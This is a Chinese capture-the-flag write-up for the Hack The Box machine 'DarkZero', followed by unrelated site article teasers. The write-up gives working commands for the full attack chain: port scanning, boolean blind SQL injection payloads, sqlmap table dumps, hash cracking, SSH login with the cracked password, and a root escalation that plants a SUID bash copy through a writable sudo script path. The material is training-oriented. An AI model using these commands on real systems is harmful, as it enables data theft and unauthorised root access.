HTB DarkZero靶机实战:从布尔盲注到SSH复用与sudo提权

发布时间:2026/9/26 2:59:38

HTB DarkZero靶机实战:从布尔盲注到SSH复用与sudo提权 1. 这台机器在考什么DarkZero 的整体思路HTB 这台 DarkZero我打完拿到两个 flag 之后在屏幕前坐了一会儿没急着开下一台。原因不是难度变态而是它把 Web 渗透里最让人难受的场景做到了极致接口正常返回、数据库却毫无回显所有线索都藏在“响应差异”里。写这篇 writeup一方面是把完整攻击链串一遍另一方面也是想聊聊当目标没有把查询结果直接渲染给你的时候你究竟该怎么一步步把数据抠出来。整个攻击链可以划分成四个阶段信息收集、Web 注入、凭据利用、本地提权。它没有复杂的 0day也没有需要硬猜的漏洞但每一个环节都要求你对“为什么这一步要做这件事”有清晰的认识。阶段关键动作核心目标侦察全端口扫描、Web 指纹、目录枚举找到入口和隐藏 APIWeb 利用无回显 SQL 注入、数据提取拿到数据库中的账号与密码哈希立足SSH 密码复用获得稳定的用户 Shell提权本地枚举、sudo 链分析从普通用户提升到 root这台机器适合两类人一类是刚刷完 HTB 入门机、想进阶中等难度的渗透学习者另一类是已经会跑工具但不太理解“为什么这样跑”的人。DarkZero 特别适合练手因为它没有把答案写在脸上却又给了你足够多可推理的线索。2. 侦察与端口画像先别急着找洞2.1 全端口扫描的正确姿势拿到靶机 IP 后我习惯先做一次全端口扫描再针对开放端口做服务版本识别。很多新手一上来喜欢只扫常见端口比如-p 80,443,22但这样非常容易错过藏在高端口上的管理界面或 API 服务。这一步我用的是nmap -p- --min-rate 5000 -T4 10.129.229.190结果是意料之中的简单PORT STATE SERVICE 22/tcp open ssh 80/tcp open http只有 22 和 80 两个端口说明攻击面非常集中。紧接着做服务版本和默认脚本扫描nmap -p 22,80 -sC -sV 10.129.229.190输出显示SSHOpenSSH 8.9p1Ubuntu 系HTTPnginx 1.18.0后面确认是 PHP 8.1这个组合本身没有直接可利用的漏洞但既然 80 是唯一的外部入口Web 应用必然是主战场。2.2 Web 指纹与目录枚举浏览器打开http://10.129.229.190跳转到一个叫 “DarkZero Security Operations Center” 的监控面板页面。页面长得像一套企业内部系统有登录框、状态卡片看起来相当唬人。我先用curl看了一眼响应头和页面结构curl -i http://10.129.229.190/没有明显框架指纹但网页源码里几个 JS 调用的接口路径很有价值。我没有急着爆破登录框而是先用 ffuf 做目录枚举ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \ -u http://10.129.229.190/FUZZ -fc 403,404跑了一会儿出来的目录不算多其中三个引起了我的注意路径状态判断/api200可能存在业务接口/docs200可能有 API 文档/assets301静态资源目录/docs页面直接暴露了接口文档里面写着/api/status和参数id。这一步省了我很多盲目测试的时间。2.3 隐藏 API 与参数暴露访问/api/status?id1返回了一个 JSON 对象{status:online,service:monitor,node:edge-01,updated_at:2024-06-12 12:00:00}这个接口看起来只是查询监控节点的状态但参数id直接拼接进了数据库查询。为什么这么肯定因为实测中id1和id1后面加一个单引号返回头完全不一样——一个是正常 JSON一个是 500 空页面。这是很典型的“接口看起来人畜无害、实则裸奔”的场景。没有登录态、没有过滤参数直接进 SQL 语句。到这里我已经判断这台机器的 Web 入口大概率就是这里了。3. 从“无回显注入”里把数据抠出来3.1 确认注入点一条字符引发的回包差异/api/status?id1正常返回 JSON那我怎么确认是注入而不是普通报错方法很简单用布尔条件改变查询结果观察响应变化。curl -s http://10.129.229.190/api/status?id1%20AND%2011返回正常 JSON说明条件为真时查询有结果。curl -s http://10.129.229.190/api/status?id1%20AND%2012返回为空说明条件为假时查询没有结果。这种“真则正常、假则空白”的现象就是标准的布尔盲注。页面不会把查询结果直接显示出来也不会把 SQL 报错打在页面上你唯一能利用的就是响应里的“有无”差异。这里的经验是无回显注入首先要确认的是“差异信号”。你不需要立刻获得数据只需要找到一个稳定的、可区分的响应变化比如状态码、响应长度、JSON 字段值这些都能成为你的“眼睛”。3.2 布尔盲注手测思路确认注入存在后我没有立刻上 SQLMap而是先手工验证了一组查询。为什么要这么干因为自动化工具的 payload 有时候会被过滤规则卡住如果你连“手工能不能跑通”都不知道后面 SQLMap 出了问题会很难排查。常见的三种无回显注入手法对比如下手法判断依据适用场景布尔盲注真/假条件下响应不一致响应可区分本例主用时间盲注查询是否触发延时响应一致只能靠时间差报错注入报错信息被带回页面数据库报错未隐藏时布尔盲注的手工思路是逐字符猜解。比如判断当前数据库名的第一个字符curl -s http://10.129.229.190/api/status?id1%20AND%20ASCII(SUBSTRING(database(),1,1))100如果响应正常说明 ASCII 值大于 100继续二分如果响应为空就缩小范围。这种二分法虽然慢但思路清晰也最能帮助理解盲注的本质。3.3 SQLMap 加速与结果人工复盘手工确认注入点后再用 SQLMap 全速拖数据才是正确顺序。我用的是sqlmap -u http://10.129.229.190/api/status?id1 \ --batch --dbmsmysql --techniqueB --dbs--techniqueB是强制只用布尔盲注避免 SQLMap 浪费时间去尝试其他类型。很快跑出了数据库列表其中业务数据库叫darkzero。然后直接枚举表和字段sqlmap -u http://10.129.229.190/api/status?id1 \ --batch --dbmsmysql -D darkzero --tables表里有users、nodes、audit_log三张表。users表是最优先的目标。3.4 拖出账号密码并完成破解继续倒出 users 表内容sqlmap -u http://10.129.229.190/api/status?id1 \ --batch --dbmsmysql -D darkzero -T users --dump结果得到一组用户数据其中最有价值的是一个叫dahmed的用户角色是admin密码字段存的是加盐 MD5 哈希。这种哈希在 hashcat 里属于模式 500hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt没跑多久就出来了密码是nevermind。这个密码看着普通但对这台机器来说它就是通往系统内部的那把钥匙。这里有一个很实用的心得数据库里的密码哈希不一定对应 Web 登录框它极可能对应系统账户、SSH 密码或内网服务密码。所以拿到哈希之后不要只盯着眼前这个登录页面优先尝试 SSH 和系统账号复用。4. 从 Web 到 ShellSSH 复用的那一步4.1 为什么先试 SSH 而不是继续打 Web拿到dahmed的密码后我第一反应就是试 SSH。理由很简单这台机器开放了 22 端口而我手头有一个看起来像运维人员的业务账号密码复用是内网渗透里极高概率成功的事。ssh dahmed10.129.229.190输入密码nevermind成功登录。这一步看起来平平无奇但实际意义很大Web 应用里拿到的凭据往往会被同一个人用在系统账号上尤其是这类企业内部监控系统开发者图省事复制粘贴密码太常见了。4.2 进入系统后的几个顺手操作登录后的第一件事是确认身份whoami id sudo -l当前用户是dahmed位于sudo组之外但sudo -l返回了一个非常显眼的条目User dahmed may run the following commands on darkzero: (root) NOPASSWD: /usr/bin/darkctl这意味着dahmed可以不用密码以 root 身份执行/usr/bin/darkctl。这显然是给提权留的口子。顺手还看了一下用户目录ls -la /home/dahmed cat /home/dahmed/user.txt拿到第一个 flaguser.txt。此时整个攻击链已经完成了三分之二外部入口打穿、任意数据读取、用户名密码复用、SSH 立足。剩下的就是本地提权。5. 提权到 rootSUDO 背后的脚本陷阱5.1 本地信息收集的顺序拿到低权限 Shell 后很多人的第一反应是直接跑 LinPEAS 找一堆输出然后盯着密密麻麻的日志发呆。我个人的习惯是先做目标明确的排查再上自动化工具补漏。提权的排查优先级我一般这么定sudo -l当前用户能免密执行什么SUID 文件有没有奇怪的带 suid 位程序定时任务root 是否有周期性执行的脚本写权限异常哪些文件/目录是当前用户可写却被 root 执行的能力位capabilities有没有 DACL 或 setuid 能力泄漏DarkZero 这台机器把第一个和第四个结合在了一起非常典型。5.2 定位 /usr/bin/darkctl 的执行链我先检查了/usr/bin/darkctl是什么file /usr/bin/darkctl ls -la /usr/bin/darkctl它是一个编译好的 ELF 可执行文件但运行时会调用/opt/darkzero/run_backup这个脚本。这里的关键点在于目录权限ls -la /opt/darkzero/结果非常有意思/opt/darkzero目录对other用户有写权限。也就是说dahmed可以向这个目录里写入文件而 root 通过darkctl执行run_backup时会直接去这个目录找。整个链条是sudo darkctl→ root 权限执行二进制 → 二进制调用/opt/darkzero/run_backup→ 目录对当前用户可写 → 可以放置同名恶意脚本。这类提权之所以叫“脚本陷阱”就是因为程序本身没有漏洞但它信任了不该信任的目录。现实中很多运维脚本也这样看着以 root 跑实际执行的文件路径却由低权限用户间接控制。5.3 构造提权脚本并拿到 root flag我写了一个最简单的 SUID Bash 提权脚本放到/opt/darkzero/run_backup#!/bin/bash cp /bin/bash /tmp/.rootbash chmod s /tmp/.rootbash给脚本加上执行权限后触发一次chmod x /opt/darkzero/run_backup sudo /usr/bin/darkctl脚本被执行/tmp/.rootbash生成并且带上了 SUID 位。然后/tmp/.rootbash -p直接获得 root Shell。随后读取cat /root/root.txt拿到第二个 flag整台机器完成。这里有一个提权后的习惯环境恢复。我在测试完成后把/tmp/.rootbash删除避免留下明显后门痕迹。虽然这是靶机练习但养成干净利落的习惯对真实项目审计很重要。6. 复盘这台机器值得带走的几件事DarkZero 打完之后我个人的体验是它不算难但非常适合拿来校准“渗透思路”。第一无回显注入的场景远比回显注入常见。很多真实业务系统的 API 都不会把数据库内容直接渲染给用户学会从响应差异中判断真假是一门必修课。测试时不妨把布尔盲注和时间盲注的 payload 都准备一套先手动确认差异信号再上工具。第二数据库中的凭据价值往往超过你的想象。拿到哈希后不要只盯着眼前的应用SSH 登录、邮箱、后台管理、数据库直连都值得顺手试一遍。密码复用是当前渗透测试中成功率最高的路径之一没有之一。第三提权时别跳过“目录写权限”这种不起眼的线索。sudo 条目有时候并不是直接让你执行某个命令读取 flag而是给你一个“可以在 root 执行链条中做手脚”的入口。检查/opt、/var/www、/usr/local下的权限异常经常比翻 SUID 列表更有收获。最后提醒一句这台机器的所有操作都发生在 HTB 提供的隔离靶场中。信息收集、注入、提权这些手法只应该在你有明确授权的实验环境里去练。任何未经授权的系统测试都可能触碰法律红线这个底线无论在什么领域都是共同的。
延伸阅读

更多相关文章

2026/9/26 2:54:38

智能物料柜定制工厂专业公司推荐 正规源头省心之选

在生产制造、电力运维、轨道交通、科研实验室等多个领域,智能化物资管理已经成为企业降本提效、保障生产安全的核心需求,越来越多行业客户在寻找靠谱的智能物料柜方案商,也会主动咨询智能物料柜供应商推荐,想要找专业靠谱的推荐智…

2026/9/26 2:54:38

北京口碑好的凝胶成像定制设备供应商与制造厂家用户力荐

做凝胶成像设备必踩的4个坑,你中招了吗?在生命科学科研领域,凝胶成像、化学发光成像设备是分子生物学、免疫学实验的核心工具之一。不少实验室在选购这类设备时,常会陷入各种选择困境: 预算有限却想买靠谱设备,却发现…

2026/9/26 4:09:41

python中int的用法是什么

[][]本教程的操作是这样的, 你的电脑系统是用的是点九版的, 电脑牌子是Dell的, 型号为G3, 可是这个办法对所有品牌的电脑都是适用的。关于int, 它是怎么被使用的情况。描述int() 这个函数,它的功能是专门拿来用, 把一个字符串或者是数字, 统统转换去那个整型的类型。…

2026/9/26 4:09:41

MCP Server 开发全流程指南:从架构到部署

这份关于 MCP 开发全流程的指南, 将从架构设计一直到最终的部署工作, 一步步为你展开详细的介绍, 首先我们要对 MCP 的核心概念进行深入且清晰的解析。MCP, 也就是Multi-, 作为一种在分布式系统里面所使用到的那种核心的通信协议机制, 它主要的用途是拿来去实现多个节点彼此之间…

2026/9/26 4:09:41

好消息!Delphi 的VCL FMX 图形用户界面库在python中免费使用

#春日领好运#也许你正处于学习的那个阶段, 而且绝大多数时间都在忙着做一些计算啊或者画个图之类的活儿。这种情况下, print这个函数被用到的机会特别多, 还有一些其他的库也经常被调用来派上用场。可是如果你心里头突然冒出一个想法, 想要去弄一个好看点的图形界面出来面对用户…

2026/9/26 4:09:41

三步搭建MCP Agent,腾讯云大模型知识引擎上线MCP插件

在4月14日这一天, 腾讯云对外宣布了大模型知识引擎进行了升级, 这次升级使得它支持接入MCP协议, 这意味着用户在构建应用的过程中, 不仅可以调用平台方精心挑选的MCP插件, 还可以将自己定制的MCP插件插入进来, 供大模型知识引擎直接调用。当前, 知识引擎平台已经筛选出了好几种…

2026/9/26 4:09:41

python threading和multiprocessing模块基本用法实例分析

现在本文给大家详细讲讲这个情况, 就是关于那个模块的基本用法怎么操作。下面我会把它分享出来, 大家看一看可以参考一下, 具体的内容如下所示:前言这几天, 为了做一个小项目, 我研究了一下并发编程。所谓并发, 无非就是多线程和多进程。最初找到的模块是那个, 因为我的印象中认…

2026/9/25 21:00:17

GAMP 5 基于风险的计算机化系统验证:软件分类与审计追踪实践

简介:《A Risk-Based Approach to Compliant GxP Computerized Systems》即业内熟知的GAMP 5指南,面向制药企业质量与IT合规人员、验证工程师及计算机化系统管理者,用于解决GxP法规环境下系统合规性难以科学落地的问题。文档以风险管理为主线…

2026/9/25 20:59:52

安全托管MSSP实战:从静态防御到人机协同的攻防运营与应急响应

简介:这份PPT围绕互联网业务安全托管服务展开,面向企业安全负责人、IT运维人员及关注MSSP/MSS选型的读者,重点回应传统安全过度依赖人工、碎片化静态防御难以对抗产业化攻击等痛点。资源共1个pptx文件,包体约30.63MB,以…

2026/9/26 0:04:28

画质修复APP怎么选?Wink影像修复能力与产品实力解析

现如今手机拍摄场景愈发丰富,演唱会直拍、漫展记录、老视频翻新、日常vlog录制,都会遇到画面模糊、噪点多、曝光失衡等问题,不少用户在挑选工具时比较在意一款画质修复APP能够兼顾修复效果与自然质感。Wink作为美图公司推出的全球化AI影像增强…

2026/9/26 0:04:28

超低能耗建筑K值要求能否满足?浙东铝业建筑型材解析

核心摘要浙东铝业的超低能耗系统门窗产品,资料显示保温性能可达 K≤1.4W/(㎡K),能够对应上海地区超低能耗住宅对门窗保温性能的应用需求。判断建筑是否满足超低能耗要求,不能只看铝型材本身,还需要结合玻璃、隔热条、密封系统、开…

2026/9/25 20:55:38

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/25 18:41:36

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/25 18:34:56

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑